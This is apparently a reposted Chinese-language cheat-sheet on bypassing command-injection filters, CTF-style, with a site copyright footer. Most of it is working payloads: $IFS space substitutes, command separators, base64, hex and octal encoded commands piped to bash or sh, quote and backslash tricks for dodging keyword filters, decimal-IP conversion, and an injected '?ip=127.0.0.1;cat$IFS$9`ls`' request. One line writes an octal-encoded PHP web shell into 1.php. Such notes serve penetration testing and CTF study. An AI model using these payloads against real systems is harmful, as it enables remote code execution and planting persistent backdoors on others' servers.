RCE遠程代碼執行-命令注入筆記


筆記

空格過濾:

在bash下,可以用以下字符代替空格

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS、$IFS$1 等

$IFS在linux下表示分隔符,但是如果單純的cat$IFS2,bash解釋器會把整個IFS2當做變量名,所以導致輸不出來結果,然而如果加一個{}就固定了變量名,同理在后面加個$可以起到截斷的作用,但是為什么要用$9呢,因為$9只是當前系統shell進程的第九個參數的持有者,它始終為空字符串。

命令分隔符

linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一個神奇的角色,作為.bat文件中的命令分隔符)

; 在 shell 中,擔任”連續指令”功能的符號就是”分號”。命令按照順序(從左到右)被執行,並且可以用分號進行分隔。當有一條命令執行失敗時,不會中斷其它命令的執行

& 簡單拼接 無制約

&& 前面執行成功后面才會執行

| 符號 左邊輸出 作為右邊輸入,所以左邊的輸出並不顯示。當第一條命令失敗時,它仍然會執行第二條命令

|| 前面執行失敗才會執行后面


敏感字符過濾繞過

過濾ls、cat、flag等
  • 利用變量繞過
a=l;b=s;$a$b
  • 編碼繞過

base

root@kali:~# echo 'cat' | base64
Y2F0Cg==
root@kali:~# `echo 'Y2F0Cg==' | base64 -d` test.txt
hello world!
root@kali:~#

hex:

echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag

當bash被過濾時考慮使用sh,sh的大部分腳本都可以在bash下運行:
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

oct :

$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")                  ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0             ==>cat /flag
#可以通過這樣來寫webshell,內容為<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
  • 反斜杠

​ ca\t fl\ag

  • 未定義的初始化變量 $x
cat$x flag.txt
  • 連接符
ca''t fla''g.txt
  • 小技巧
    inux下創建文件的命令可以用1>1創建文件名為1的空文件
    a>1居然也可以,雖然會報錯,但是還是可以創建空文件。
    ls>1可以直接把把ls的內容導入一個文件中,但是會默認追加\n

  • ip地址過濾可將ip地址轉化為數字ip地址

IP地址用“點分十進制”表示,用“.”分成4部分;數字地址是一串用“十進制”表示的數字。
  比如:百度的IP地址“119.75.218.77”轉換成數字地址就是“2001459789”。在瀏覽器中輸入2001459789就可以訪問百度網站
轉化網址:http://www.msxindl.com/tools/ip/ip_num.asp

  • ${}執行代碼
${phpinfo()};
ca$@t fla$@g
  • 內聯執行(內聯,就是將反引號內命令的輸出作為輸入執行):
?ip=127.0.0.1;cat$IFS$9`ls`

參考自:https://blog.csdn.net/JBlock/article/details/88311388

https://blog.csdn.net/silence1_/article/details/96135760


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM